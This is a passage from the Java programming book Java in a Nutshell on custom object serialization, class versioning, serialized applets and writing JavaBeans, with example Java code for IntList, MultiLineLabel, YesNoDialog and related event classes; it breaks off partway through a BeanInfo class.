Only classes that implement the Serializable or Externalizable interface can be written to or read from an object stream. Serializable is a marker interface, like Cloneable: it doesn't define any methods and serves only to specify whether an object is allowed to be serialized. The Externalizable interface does define methods, and is used by objects that want advanced control over the way they are written and read. We'll see more about Externalizable objects later in this chapter. It is worth noting at this point that Component implements Serializable, which means that all AWT components can be serialized.

Even when an object is serializable, it may not make sense for it to serialize all of its state. For example, in the Scribble example shown in Chapter 8, New AWT Features, the last_x and last_y fields store the current position of the mouse and only contain valid data while the user has a mouse button pressed. The values of these fields will never be of interest (or use) when such an object is deserialized, so there is no need to bother saving the values of these fields as part of the Scribble object's state. To tell the serialization mechanism that a field should not be saved, simply declare it transient:

protected transient short last_x, last_y; // Temporary fields for mouse pos.

The transient modifier keyword has always been a legal part of the Java language, but it was not assigned any meaning until Java 1.1.

There are situations where a field is not transient--i.e., it does contain an important part of an object's state--but for some reason it cannot be successfully serialized. One example is a custom AWT component that computes its preferred size based on the size of the text it displays. Because fonts have slight size variations from platform to platform, this pre-computed preferred size will not be valid if the component is serialized on one type of platform and deserialized on another. Since the preferred size fields will not be valid when deserialized, they should be declared transient so that they don't take up space in the serialized object. But in this case, their values should be re-computed when the object is deserialized.

A class can define custom serialization and deserialization behavior for its objects by implementing writeObject() and readObject() methods. Suprisingly, these methods are not defined by any interface. The methods must be declared private, which is also suprising if you think about it, as they are called from outside of the class during serialization and deserialization. If a class defines these methods, the appropriate one is invoked by the ObjectOutputStream or ObjectInputStream when an object is serialized or deserialized.

For example, our custom component might define a readObject() method to give it an opportunity to re-compute its preferred size upon deserialization. The method might look like this:

private void readObject(ObjectInputStream in)
             throws IOException, ClassNotFoundException {
  in.defaultReadObject();      // Deserialize the component in the usual way.
  this.computePreferredSize(); // But then go recompute its size.
}

This method calls the defaultReadObject() method of the ObjectInputStream to deserialize the object as normal, and then takes care of the post-processing it needs to perform.

Example 9.2 is a more complete example of custom serialization. It shows a class that implements a growable array of numbers. This class defines a writeObject() method to do some pre-processing before being serialized and a readObject() method to do post-processing after deserialization.

Example 9.2: Serialization with Pre- and Post-Processing

import java.io.*;
/** A simple class that implements a growable array or ints, and knows
 *  how to serialize itself as efficiently as a non-growable array. */
public class IntList implements Serializable
{
  private int[] nums = new int[8]; // An array to store the numbers.
  private transient int size = 0;  // Index of next unused element of nums[].
  /** Return an element of the array */
  public int elementAt(int index) throws ArrayIndexOutOfBoundsException {
    if (index >= size) throw new ArrayIndexOutOfBoundsException(index);
    else return nums[index];
  }
  /** Add an int to the array, growing the array if necessary. */
  public void add(int x) {
    if (nums.length == size) resize(nums.length*2); // Grow array, if needed.
    nums[size++] = x;                               // Store the int in it.
  }
  /** An internal method to change the allocated size of the array. */
  protected void resize(int newsize) {
    int[] oldnums = nums;
    nums = new int[newsize];                     // Create a new array.
    System.arraycopy(oldnums, 0, nums, 0, size); // Copy array elements.
  }
  /** Get rid of unused array elements before serializing the array. */
  private void writeObject(ObjectOutputStream out) throws IOException {
    if (nums.length > size) resize(size);  // Compact the array.
    out.defaultWriteObject();              // Then write it out normally.
  }
  /** Compute the transient size field after deserializing the array. */
  private void readObject(ObjectInputStream in)
          throws IOException, ClassNotFoundException {
    in.defaultReadObject();                // Read the array normally.
    size = nums.length;                    // Restore the transient field.
  }
}

Previous | Home | Next
Simple Serialization | Book Index | Serialization and Class Versioning
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.3 Serialization and Class Versioning

Java in a Nutshell

Previous Chapter 9
Object Serialization 		Next

9.3 Serialization and Class Versioning

When an object is serialized, some information about its class must obviously be serialized with it, so that the correct class file can be loaded when the object is deserialized. This information about the class is represented by the java.io.ObjectStreamClass class. It contains the fully-qualified name of the class and a version number. The version number is very important because an early version of a class may not be able to deserialize a serialized instance created by a later version of the same class.

The version number of a class is stored in a constant long field named serialVersionUID. For example, a class might declare its version number with a field like this:

static final long serialVersionUID = 280432937854755317L;

If a class does not define a serialVersionUID constant, the ObjectOutputStream automatically computes a unique version number for it by applying the Secure Hash Algorithm (SHA) to the name of the class, its interfaces, fields, and methods. In this case, any change to a field in a class or to a non-private class method signature results in a change to the automatically-computed unique version number.

If you need to make minor changes to a class without breaking serialization compatibility, you should explicitly declare a serialVersionUID constant so that an updated and incompatible version number is not automatically generated. You can use the serialver program that is provided with the JDK to compute an initial value for this constant for the first version of your class. When you make minor, compatible changes to the class, leave the constant unchanged. Then, if you make larger changes that break serialization compatibility, run serialver again to generate an updated version number.

Previous | Home | Next
Custom Serialization | Book Index | Serialized Applets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.4 Serialized Applets

Java in a Nutshell

Previous Chapter 9
Object Serialization 		Next

9.4 Serialized Applets

One of the uses of object serialization in Java 1.1 is for serialized applets. As discussed in Chapter 15, Java-Related HTML Tags, the <APPLET> tag has a new attribute, OBJECT, that can be used in place of the CODE attribute to specify a serialized object file instead of a class file. When such an <APPLET> tag is encountered, the applet viewer or Web browser creates the applet by deserializing it.

The reason that this is an interesting thing to do is that it allows an applet to be shipped in a pre-initialized state. The code for the applet need not even include the code that performed the initialization. For example, imagine a GUI builder tool that allows a programmer to build a GUI using a point-and-click interface. Such a tool could create a tree of AWT components within an Applet panel, and then serialize the applet, including all of the GUI components it contains. When deserialized, the applet would have a complete GUI, despite the fact that the applet's class file does not contain any code to create the GUI.

You can experiment with applet serialization with the JDK 1.1 appletviewer program. Start an applet running in appletviewer in the usual way. This loads the applet and runs its init() and start() methods. Next, select the Stop item from the menu to stop the applet. Now use the Save menu item to serialize the applet to a file. By convention, your serialized applet file should be given a .ser extension. If the applet refers to any non-serializable objects, you may not be able to serialize it. For example, you may encounter problems serializing applets that use threads or images.

Once you have serialized an applet, create an HTML file with an <APPLET> tag something like this:

<APPLET OBJECT="MyApplet.ser" WIDTH=400 HEIGHT=200></APPLET >

Finally, you can use appletviewer with this new HTML file. It should deserialize and display the applet. When created in this way, the applet's init() method is not called (since it was called before serialization), but its start() method is called (because the applet should have been stopped before serialization).

Previous | Home | Next
Serialization and Class Versioning | Book Index | Advanced Serialization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.5 Advanced Serialization

Java in a Nutshell

Previous Chapter 9
Object Serialization 		Next

9.5 Advanced Serialization

The Object Serialization API also has some advanced features beyond those demonstrated above. One such feature is the Externalizable interface. If a class implements this interface, the ObjectInputStream and ObjectOutputStream classes use an object's readExternal() and writeExternal() methods to read and write its state from a stream. Most classes that want custom serialization behavior simply implement readObject() and writeObject() methods to do pre- and post-processing. Externalizable objects, on the other hand, take complete control over reading and writing their state. This interface is intended for objects that do not even want to use the basic serialized object data format used for all Serializable objects. A word processor object, for example, might "externalize" itself using its own native file format.

Another advanced serialization feature is the ability to register an ObjectInputValidation object that can verify that an object graph has been deserialized in a consistent, valid state. Typically, the root of an object graph registers such a validation object by calling the registerValidation() method of the ObjectInputStream from its own custom readObject() method. Then, when the graph has been read completely, the validateObject() method of the ObjectInputValidation object is called to perform whatever validity checks are necessary.

Finally, you may notice that ObjectOutputStream and ObjectInputStream have methods like annotateClass(), replaceObject(), resolveClass(), and resolveObject(). These are intended for use by subclasses of the object streams that implement special kinds of object serialization behavior.

Previous | Home | Next
Serialized Applets | Book Index | Java Beans
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Java Beans

Java in a Nutshell

Previous Chapter 10 Next

10. Java Beans

Contents:
Bean Basics
A Simple Bean
A More Complex Bean
Custom Events
Specifying Bean Information
Defining a Simple Property Editor
Defining a Complex Property Editor
Defining a Bean Customizer
Naming Patterns and Conventions

The JavaBeans API provides a framework for defining reusable, embeddable, modular software components. The JavaBeans Specification includes the following definition of a bean: "a reusable software component that can be manipulated visually in a builder tool." As you can see, this is a rather loose definition; beans can take a variety of forms. At the simplest level, individual AWT components (in Java 1.1) are all beans, while at a much higher level, an embeddable spreadsheet application might also function as a bean. Most beans, however, will probably fall somewhere between these two extremes.

One of the goals of the JavaBeans model is interoperability with similar component frameworks. So, for example, a native Windows program can, with an appropriate bridge or wrapper object, use a Java bean as if it were a COM or ActiveX component. The details of this sort of interoperability are beyond the scope of this chapter, however.

Beans can be used at three levels, by three different categories of programmers:

  • If you are developing GUI editors, application builders, or other "beanbox" tools, you need the JavaBeans API to manipulate beans within these tools. beanbox is the name of the sample bean manipulation program provided by Sun in its Beans Development Kit (BDK). The term is a useful one, and I'll use it to describe any kind of graphical design tool or application builder that manipulates beans.

  • If you are writing actual beans, you need the JavaBeans API to write code that can be used in any conforming beanbox.

  • If you are writing applications that use beans developed by other programmers, or using a beanbox tool to combine those beans into an application, you do not actually need to be familiar with the JavaBeans API. You only need to be familiar with the documentation for individual beans that you are using.

This chapter explains how to use the JavaBeans API at the second level, or in other words, it describes how to write beans. It covers the following topics:

  • Basic bean concepts and terminology

  • Requirements for the simplest beans

  • Packaging beans in JAR files

  • Providing additional information about beans with the BeanInfo class

  • Defining property editors to allow custom editing of bean properties

  • Defining bean customizers to allow customization of an entire bean

  • The various naming conventions and requirements imposed by the JavaBeans model

10.1 Bean Basics

We begin our discussion of beans with some basic concepts and terminology. Any object that conforms to certain basic rules can be a bean; there is no Bean class that all beans are required to subclass. Many beans are AWT components, but it is also quite possible, and often useful, to write "invisible" beans that do not have an on-screen appearance. (Just because a bean does not have an on-screen appearance in a finished application does not mean that it won't be visually manipulated by a beanbox tool, however.)

A bean exports properties, events, and methods. A property is a piece of the bean's internal state that can be programmatically set and queried, usually through a standard pair of get and set accessor methods. A bean may generate events in the same way that an AWT component, such as a Button, generates ActionEvent events. The JavaBeans API uses the same event model as the Java 1.1 AWT does. See Chapter 7, Events, for a full discussion of this model. A bean defines an event if it provides methods for adding and removing event listener objects from a list of interested listeners for that event. Finally, the methods exported by a bean are simply any public methods defined by the bean, excluding those methods used to get and set property values and register and remove event listeners.

In addition to the regular sort of properties described above, the JavaBeans API also provides support for "indexed properties," "bound properties," and "constrained properties." An indexed property is any property that has an array value and for which the bean provides methods to get and set individual elements of the array, as well as methods to get and set the entire array. A bound property is one that sends out a notification event when its value changes, while a constrained property is one that sends out a notification event when its value changes and allows the change to be vetoed by listeners.

Because Java allows dynamic loading of classes, beanbox programs can load arbitrary beans. The beanbox tool determines the properties, events, and methods a bean supports by using an "introspection" mechanism that is based on the java.lang.reflect reflection mechanism for obtaining information about the members of a class. A bean can also provide an auxiliary BeanInfo class that provides additional information about the bean. The BeanInfo class provides this additional information in the form of a number of FeatureDescriptor objects, each one describing a single feature of the bean. FeatureDescriptor has a number of subclasses: BeanDescriptor, PropertyDescriptor, IndexedPropertyDescriptor, EventSetDescriptor, MethodDescriptor, and ParameterDescriptor.

One of the primary tasks of a beanbox application is to allow the user to customize a bean by setting property values. A beanbox defines "property editors" for commonly used property types, such as numbers, strings, fonts, and colors. If a bean has properties of more complicated types, however, it may need to define a PropertyEditor class that enables the beanbox to let the user set values for that property.

In addition, a complex bean may not be satisfied with the property-by-property customization mechanism provided by most beanboxes. Such a bean may want to define a Customizer class, which creates a graphical interface that allows the user to configure a bean in some useful way. A particularly complex bean may even define customizers that serve as "wizards" that guide the user step-by-step through the customization process.

Previous | Home | Next
Advanced Serialization | Book Index | A Simple Bean
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.2 A Simple Bean

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.2 A Simple Bean

As noted above, the AWT components in Java 1.1 can all function as beans. When you write a custom GUI component, it is not difficult to make it function as a bean as well. Example 10.1 shows the definition of a custom component, MultiLineLabel, that is also a bean. This component is like the standard Label component, but it can display labels that contain more than one line of text.

Much of the code in this example is taken up with the mechanics of breaking the label into separate lines and measuring the size of each of those lines. From the standpoint of custom AWT components, however, the most important code is in several required methods that make any component work correctly. First, there is the paint() method, of course. All components (including applets) use this method to display themselves on the screen. Second, the getPreferredSize() and getMinimumSize() methods return the preferred and minimum sizes for the component. These methods must be implemented so that layout managers can correctly lay the component out. (Note, though, that for compatibility with Java 1.0, this example defines the deprecated preferredSize() and minimumSize() methods instead.)

MultiLineLabel extends Canvas, which is a blank component intended primarily for subclassing. When a component is a subclass of Canvas, it is typically given its own native window in the underlying window system. In Java 1.1, however, it is possible to define "lightweight" custom components by extending Component instead of Canvas. A lightweight component does not have its own native window in the underlying window system.

What makes this component a bean is that all of its properties have get and set accessor methods. Because MultiLineLabel does not respond to user input in any way, it does not define any events, so there are no event listener registration methods required. Although it is not a formal requirement for a bean, most beanboxes attempt to instantiate a bean by invoking its no-argument constructor. Thus, a bean should define a constructor that expects no arguments.

Example 10.1: A Custom AWT Component and JavaBean

package oreilly.beans.yesno;
import java.awt.*;
import java.util.*;
/**
 * A custom component that displays multiple lines of text with specified
 * margins and alignment.  In Java 1.1, we could extend Component instead
 * of Canvas, making this a more efficient "Lightweight component."
 */
public class MultiLineLabel extends Canvas {
  // User-specified attributes
  protected String label;             // The label, not broken into lines
  protected int margin_width;         // Left and right margins
  protected int margin_height;        // Top and bottom margins
  protected int alignment;            // The alignment of the text
  public static final int LEFT = 0, CENTER = 1, RIGHT = 2; // alignment values
  // Computed state values
  protected int num_lines;            // The number of lines
  protected String[] lines;           // The label, broken into lines
  protected int[] line_widths;        // How wide each line is
  protected int max_width;            // The width of the widest line
  protected int line_height;          // Total height of the font
  protected int line_ascent;          // Font height above baseline
  protected boolean measured = false; // Have the lines been measured?
  // Here are five versions of the constructor.
  public MultiLineLabel(String label, int margin_width,
                        int margin_height, int alignment) {
    this.label = label;                 // Remember all the properties.
    this.margin_width = margin_width;
    this.margin_height = margin_height;
    this.alignment = alignment;
    newLabel();                         // Break the label up into lines.
  }
  public MultiLineLabel(String label, int margin_width, int margin_height) {
    this(label, margin_width, margin_height, LEFT);
  }
  public MultiLineLabel(String label, int alignment) {
    this(label, 10, 10, alignment);
  }
  public MultiLineLabel(String label) { this(label, 10, 10, LEFT); }
  public MultiLineLabel() { this(""); }
  // Methods to set and query the various attributes of the component.
  // Note that some query methods are inherited from the superclass.
  public void setLabel(String label) {
    this.label = label;
    newLabel();               // Break the label into lines.
    measured = false;         // Note that we need to measure lines.
    repaint();                // Request a redraw.
  }
  public void setFont(Font f) {
    super.setFont(f);         // Tell our superclass about the new font.
    measured = false;         // Note that we need to remeasure lines.
    repaint();                // Request a redraw.
  }
  public void setForeground(Color c) {
    super.setForeground(c);   // Tell our superclass about the new color.
    repaint();                // Request a redraw (size is unchanged).
  }
  public void setAlignment(int a) { alignment = a; repaint(); }
  public void setMarginWidth(int mw) { margin_width = mw; repaint(); }
  public void setMarginHeight(int mh) { margin_height = mh; repaint(); }
  public String getLabel() { return label; }
  public int getAlignment() { return alignment; }
  public int getMarginWidth() { return margin_width; }
  public int getMarginHeight() { return margin_height; }
  /**
   * This method is called by a layout manager when it wants to
   * know how big we'd like to be.  In Java 1.1, getPreferredSize() is
   * the preferred version of this method.  We use this deprecated version
   * so that this component can interoperate with 1.0 components.
   */
  public Dimension preferredSize() {
    if (!measured) measure();
    return new Dimension(max_width + 2*margin_width,
                         num_lines * line_height + 2*margin_height);
  }
  /**
   * This method is called when the layout manager wants to know
   * the bare minimum amount of space we need to get by.
   * For Java 1.1, we'd use getMinimumSize().
   */
  public Dimension minimumSize() { return preferredSize(); }
  /**
   * This method draws the label (same method that applets use).
   * Note that it handles the margins and the alignment, but that
   * it doesn't have to worry about the color or font--the superclass
   * takes care of setting those in the Graphics object we're passed.
   */
  public void paint(Graphics g) {
    int x, y;
    Dimension size = this.size();  // Use getSize() in Java 1.1.
    if (!measured) measure();
    y = line_ascent + (size.height - num_lines * line_height)/2;
    for(int i = 0; i < num_lines; i++, y += line_height) {
      switch(alignment) {
      default:
      case LEFT:    x = margin_width; break;
      case CENTER:  x = (size.width - line_widths[i])/2; break;
      case RIGHT:   x = size.width - margin_width - line_widths[i]; break;
      }
      g.drawString(lines[i], x, y);
    }
  }
  /** This internal method breaks a specified label up into an array of lines.
   *  It uses the StringTokenizer utility class. */
  protected synchronized void newLabel() {
    StringTokenizer t = new StringTokenizer(label, "\n");
    num_lines = t.countTokens();
    lines = new String[num_lines];
    line_widths = new int[num_lines];
    for(int i = 0; i < num_lines; i++) lines[i] = t.nextToken();
  }
  /** This internal method figures out how big the font is, and how wide each
   *  line of the label is, and how wide the widest line is. */
  protected synchronized void measure() {
    FontMetrics fm = this.getToolkit().getFontMetrics(this.getFont());
    line_height = fm.getHeight();
    line_ascent = fm.getAscent();
    max_width = 0;
    for(int i = 0; i < num_lines; i++) {
      line_widths[i] = fm.stringWidth(lines[i]);
      if (line_widths[i] > max_width) max_width = line_widths[i];
    }
    measured = true;
  }
}

Packaging a Bean

To prepare a bean for use in a beanbox, you must package it up in a JAR file, along with any other classes or resource files it requires. (JAR files are "Java archives"; they were introduced in Chapter 6, Applets.) Because a single bean can have many auxiliary files, and because a JAR file can contain multiple beans, the manifest of the JAR file must define which of the JAR file entries are beans. You create a JAR file with c option to the jar command. When you use the m option in conjunction with c, it tells jar to read a partial manifest file that you specify. jar uses the information in your partially-specified manifest file when creating the complete manifest for the JAR file. To identify a class file as a bean, you simply add the following line to the file's manifest entry:

Java-Bean: True

So, to package up the MultiLineLabel class in a JAR file, you must first create a manifest "stub" file. Create a file, perhaps named manifest.stub, with the following contents:

Name: oreilly/beans/MultiLineLabel.class
Java-Bean: True

Note that the forward slashes in the manifest file should not be changed to backward slashes on Windows systems. The format of the JAR manifest file requires forward slashes to separate directories regardless of the platform. Having created this partial manifest file, we can now go ahead and create the JAR file:

% jar cfm MultiLineLabel.jar manifest.stub oreilly/beans/MultiLineLabel.class

(On a Windows system, you do need to replace the forward slashes with backslashes in this command line.) If this bean required any auxiliary files, we would specify them on the end of the jar command line, along with the class file for the bean.

Installing a Bean

The procedure for installing a bean depends entirely upon the beanbox tool that you are using. For the beanbox tool shipped with the BDK, all you need to do is to copy the bean's JAR file into the jars/ directory within the BDK directory. Once you have done this, the bean will appear on the palette of beans every time you start up the application. Alternatively, you can also load a bean's JAR file at runtime by selecting the Load JAR option from the File menu of beanbox.

Previous | Home | Next
Bean Basics | Book Index | A More Complex Bean
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.3 A More Complex Bean

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.3 A More Complex Bean

Example 10.2 shows another bean, YesNoDialog. This bean creates a dialog box that displays a simple message to the user and asks the user to respond by clicking the Yes, No, or Cancel button. Figure 10.1 shows the bean being manipulated in Sun's beanbox tool and also shows a dialog displayed by the bean.

Figure 10.1: The YesNoDialog bean in the beanbox

[Graphic: Figure 10-1]

The YesNoDialog bean uses a custom AnswerEvent type to notify AnswerListener objects when the user has dismissed the dialog by clicking on one of its three buttons. This new event class and listener interface are defined in the next section.

Note that YesNoDialog is a subclass of Object, not Dialog. This is a result of the requirement for a bean to have a no-argument constructor. Because all dialog boxes must be associated with a Frame, Dialog does not have a no-argument constructor, and this means that subclasses of Dialog cannot have meaningful no-argument constructors, either. As a result, YesNoDialog defers creation of its window and associated GUI components until it is actually popped up with the display() method. Another beanbox shortcoming is that it only recognizes methods with no arguments. [1] For this reason, the display() method has no arguments, and so no Frame can be specified through that method either. Since a parent Frame cannot be specified, YesNoDialog cannot create a Dialog object, and instead simulates a dialog box with a Frame window. An alternative would have been to define a bean property through which the required Frame could be specified.

[1] The beanbox tool shipped with the February 1997 version of the BDK has a number of shortcomings. In part, this is due to the fact that the BDK is a new technology and not as stable or robust as the JDK. It is also because beanbox is intended as a test environment, not an actual programmer's tool.

Since YesNoDialog is not a subclass of Component, it has to define its own properties and accessor methods for fonts and colors; normally these would simply be inherited from Component. Since this bean is not a Component subclass, it is an "invisible" bean that does not have a graphical representation of its own. (It pops up a window when the display() method is called, but that is not the same as having a graphical representation that appears within another window.) Different tools treat invisible beans differently. beanbox simply displays the classname of invisible beans.

Notice that YesNoDialog does not use any classes from the java.beans package. One of the surprising things about beans is that they typically do not have to use any classes from this package. As we'll see in later sections, it is the auxiliary classes that are shipped with a bean that make heavy use of that package.

Example 10.2: The YesNoDialog Bean

package oreilly.beans.yesno;      // Put this bean in its own private package.
import java.awt.*;
import java.awt.event.*;
import java.util.*;
public class YesNoDialog {
  // Properties of the bean.
  protected String message, title;
  protected String yesLabel, noLabel, cancelLabel;
  protected int alignment;
  protected Font font = new Font("Serif", Font.PLAIN, 12);
  protected Color background = SystemColor.control;
  protected Color foreground = SystemColor.controlText;
  // Constants for the alignment property.
  public static final int LEFT = MultiLineLabel.LEFT;
  public static final int RIGHT = MultiLineLabel.RIGHT;
  public static final int CENTER = MultiLineLabel.CENTER;
  // Methods to query all of the bean properties.
  public String getMessage() { return message; }
  public String getTitle() { return title; }
  public String getYesLabel() { return yesLabel; }
  public String getNoLabel() { return noLabel; }
  public String getCancelLabel() { return cancelLabel; }
  public int getAlignment() { return alignment; }
  public Font getFont() { return font; }
  public Color getBackground() { return background; }
  public Color getForeground() { return foreground; }
  // Methods to set all of the bean properties.
  public void setMessage(String m) { message = m; }
  public void setTitle(String t) { title=t; }
  public void setYesLabel(String l) { yesLabel = l; }
  public void setNoLabel(String l) { noLabel = l; }
  public void setCancelLabel(String l) { cancelLabel = l; }
  public void setAlignment(int a) { alignment = a; }
  public void setFont(Font f) { font = f; }
  public void setBackground(Color bg) { background = bg; }
  public void setForeground(Color fg) { foreground = fg; }
  /** This field holds a list of registered ActionListeners.
   *  Vector is internally synchronized to prevent race conditions. */
  protected Vector listeners = new Vector();
  /** Register an action listener to be notified when a button is pressed. */
  public void addAnswerListener(AnswerListener l) {
    listeners.addElement(l);
  }
  /** Remove an Answer listener from our list of interested listeners. */
  public void removeAnswerListener(AnswerListener l) {
    listeners.removeElement(l);
  }
  /** Send an event to all registered listeners. */
  public void fireEvent(AnswerEvent e) {
    // Make a copy of the list and fire the events using that copy.
    // This means that listeners can be added or removed from the original
    // list in response to this event.  We ought to be able to just use an
    // enumeration for the vector, but that doesn't copy the list internally.
    Vector list = (Vector) listeners.clone();
    for(int i = 0; i < list.size(); i++) {
      AnswerListener listener = (AnswerListener)list.elementAt(i);
      switch(e.getID()) {
      case AnswerEvent.YES: listener.yes(e); break;
      case AnswerEvent.NO:  listener.no(e); break;
      case AnswerEvent.CANCEL: listener.cancel(e); break;
      }
    }
  }
  /** The no-argument bean constructor, with default property values */
  public YesNoDialog() {
    this("Question", "Your\nMessage\nHere", "Yes", "No", "Cancel", LEFT);
  }
  /** A constructor for programmers using this class "by hand". */
  public YesNoDialog(String title, String message,
                     String yesLabel, String noLabel, String cancelLabel,
                     int alignment) {
    this.title = title;
    this.message = message;
    this.yesLabel = yesLabel;
    this.noLabel = noLabel;
    this.cancelLabel = cancelLabel;
    this.alignment = alignment;
  }
  /** This method makes the bean display the dialog box. */
  public void display() {
    // Create a frame with the specified title.  It would be nice to
    // use a Dialog, but that needs to be passed a Frame argument, and
    // the BDK beanbox tool only seems to work with no-argument methods.
    final Frame frame = new Frame(title);
    // Specify a LayoutManager for it.
    frame.setLayout(new BorderLayout(15, 15));
    // Specify font and colors, if any are specified.
    if (font != null) frame.setFont(font);
    if (background != null) frame.setBackground(background);
    if (foreground != null) frame.setForeground(foreground);
    // Put the message label in the middle of the window.
    frame.add("Center", new MultiLineLabel(message, 20, 20, alignment));
    // Create an action listener for use by the buttons of the dialog.
    // When a button is pressed, this listener first closes the dialog box.
    // Then, it creates an AnswerEvent object that corresponds to the
    // button that was pressed, and sends that new event to all registered
    // listeners, using the fireEvent() method defined above.
    ActionListener listener = new ActionListener() {
      public void actionPerformed(ActionEvent e) {
        frame.dispose();     // Pop down window.
        if (listeners != null) {      // Notify any registered listeners.
          String cmd = e.getActionCommand();
          int type;
          if (cmd.equals("yes")) type = AnswerEvent.YES;
          else if (cmd.equals("no")) type = AnswerEvent.NO;
          else type = AnswerEvent.CANCEL;
          fireEvent(new AnswerEvent(YesNoDialog.this, type));
        }
      }
    };
    // Create a panel for the dialog buttons and put it at the bottom
    // of the dialog.  Specify a FlowLayout layout manager for it.
    Panel buttonbox = new Panel();
    buttonbox.setLayout(new FlowLayout(FlowLayout.CENTER, 25, 15));
    frame.add("South", buttonbox);
    // Create each specified button, specifying the action listener
    // and action command for each, and adding them to the buttonbox.
    if ((yesLabel != null) && (yesLabel.length() > 0)) {
      Button yes = new Button(yesLabel);        // Create button.
      yes.setActionCommand("yes");              // Set action command.
      yes.addActionListener(listener);          // Set listener.
      buttonbox.add(yes);                       // Add button to the panel.
    }
    if ((noLabel != null) && (noLabel.length() > 0)) {
      Button no = new Button(noLabel);
      no.setActionCommand("no");
      no.addActionListener(listener);
      buttonbox.add(no);
    }
    if ((cancelLabel != null) && (cancelLabel.length() > 0)) {
      Button cancel = new Button(cancelLabel);
      cancel.setActionCommand("cancel");
      cancel.addActionListener(listener);
      buttonbox.add(cancel);
    }
    // Finally, set the dialog to its preferred size and display it.
    frame.pack();
    frame.show();
  }
  /**
   * A main method that demonstrates how to use this class, and allows testing.
   */
  public static void main(String[] args) {
    // Create an instance of InfoDialog, with title and message specified:
    YesNoDialog d =
      new YesNoDialog("YesNoDialog Test",
                      "There are unsaved files.\n" +
                      "Do you want to save them before quitting?",
                      "Yes, save and quit",
                      "No, quit without saving",
                      "Cancel; don't quit",
                      YesNoDialog.CENTER);
    // Register an action listener for the dialog.  This one just prints
    // the results out to the console.
    d.addAnswerListener(new AnswerListener() {
      public void yes(AnswerEvent e) { System.out.println("Yes"); }
      public void no(AnswerEvent e) { System.out.println("No"); }
      public void cancel(AnswerEvent e) { System.out.println("Cancel"); }
    });
    // Now pop the dialog up.  It will pop itself down automatically.
    d.display();
  }
}

Previous | Home | Next
A Simple Bean | Book Index | Custom Events
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.4 Custom Events

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.4 Custom Events

Beans can use the standard AWT event types defined in the java.awt.event package, but they do not have to. Our YesNoDialog class defines its own event type, AnswerEvent. Defining a new event class is really quite simple; AnswerEvent is shown in Example 10.3.

Example 10.3: The AnswerEvent Class

package oreilly.beans.yesno;
public class AnswerEvent extends java.util.EventObject {
  protected int id;
  public static final int YES = 0, NO = 1, CANCEL = 2;
  public AnswerEvent(Object source, int id) {
    super(source);
    this.id = id;
  }
  public int getID() { return id; }
}

Along with the AnswerEvent class, YesNoDialog also defines a new type of event listener interface, ActionListener, that defines the methods that must be implemented by any object that wants to receive notification from a YesNoDialog. The definition of AnswerListener is shown in Example 10.4.

Example 10.4: The AnswerListener Interface

package oreilly.beans.yesno;
public interface AnswerListener extends java.util.EventListener {
  public void yes(AnswerEvent e);
  public void no(AnswerEvent e);
  public void cancel(AnswerEvent e);
}

Previous | Home | Next
A More Complex Bean | Book Index | Specifying Bean Information
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.5 Specifying Bean Information

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.5 Specifying Bean Information

The YesNoDialog class itself and the AnswerEvent and AnswerListener classes it relies on are all a required part of our bean. When an application that uses the bean is shipped, it has to include all three of these class files. There are other kinds of classes, however, that are often bundled with a bean that are not intended for use by the application developer. These classes are used by the beanbox tool that manipulates the bean. The bean class itself does not refer to any of these auxiliary beanbox classes so that it is not dependent on them and they do not have to be shipped with the bean in finished products.

The first of these optional, auxiliary classes is a BeanInfo class. As explained earlier, a beanbox discovers the properties, events, and methods exported by a bean through "introspection" based on the Java Reflection API. A bean developer who wants to provide additional information about a bean, or who wants to refine the (somewhat rough) information available through introspection, should define a class that implements the BeanInfo interface to provide that information. A BeanInfo class typically subclasses SimpleBeanInfo, which provides a no-op implementation of the BeanInfo interface. When you only want to override one or two methods, it is easier to subclass SimpleBeanInfo than to implement BeanInfo directly. Beanbox tools rely on a naming convention in order to find the BeanInfo class for a given bean: a BeanInfo class should have the same name as the bean, with the string "BeanInfo" appended. Example 10.5 shows an implementation of the YesNoDialogBeanInfo class.

This BeanInfo class specifies a number of pieces of information for our bean:

  • An icon that can be used to represent the bean.

  • A BeanDescriptor object, which includes a reference to a Customizer class for the bean. We'll see an implementation of this class later in the chapter.

  • A list of the supported properties of the bean, along with a short description of each one. Some beanbox tools (but not Sun's beanbox) display these strings to the user in some useful way.

  • A method that returns the most commonly customized property of the bean--this is called the "default" property.

  • References to PropertyEditor classes for two of the properties. We'll see implementations of these property editor classes later in the chapter.

  • A list of the methods supported by the bean, again with a short description of each one.

Besides specifying this information, a BeanInfo class can also provide information about the events it generates and specify a default event. The various FeatureDescriptor objects used to provide information about such things as properties and methods can also include other information not provided by YesNoDialogBeanInfo, such as a localized display name that is distinct from the programmatic name.

Example 10.5: The YesNoDialogBeanInfo Class

package oreilly.beans.yesno;
import java.beans.*;
import java.lang.reflect.*;
import java.awt.*;
/** The BeanInfo class for the YesNoDialog bean. */
public class YesNoDialogBeanInfo extends SimpleBeanInfo {
  /** Return an icon for the bean.  We should really check the kind argument
   *  to see what size icon the beanbox wants, but since we only have one
   *  icon to offer, we just return it and let the beanbox deal with it. */
  public Image getIcon(int kind) {
    return loadImage("YesNoDialogIcon.gif");
  }
  /** Return a descriptor for the bean itself.  It specifies a customizer
   *  for the bean class.  We could also add a description string here. */
  public BeanDescriptor getBeanDescriptor() {
    return new BeanDescriptor(YesNoDialog.class, YesNoDialogCustomizer.class);
  }
  /** This is a convenience routine for creating PropertyDescriptor objects. */
  public static PropertyDescriptor property(String name, String description)
       throws IntrospectionException
  {
    PropertyDescriptor p = new PropertyDescriptor(name, YesNoDialog.class);
    p.setShortDescription(description);
    return p;
  }
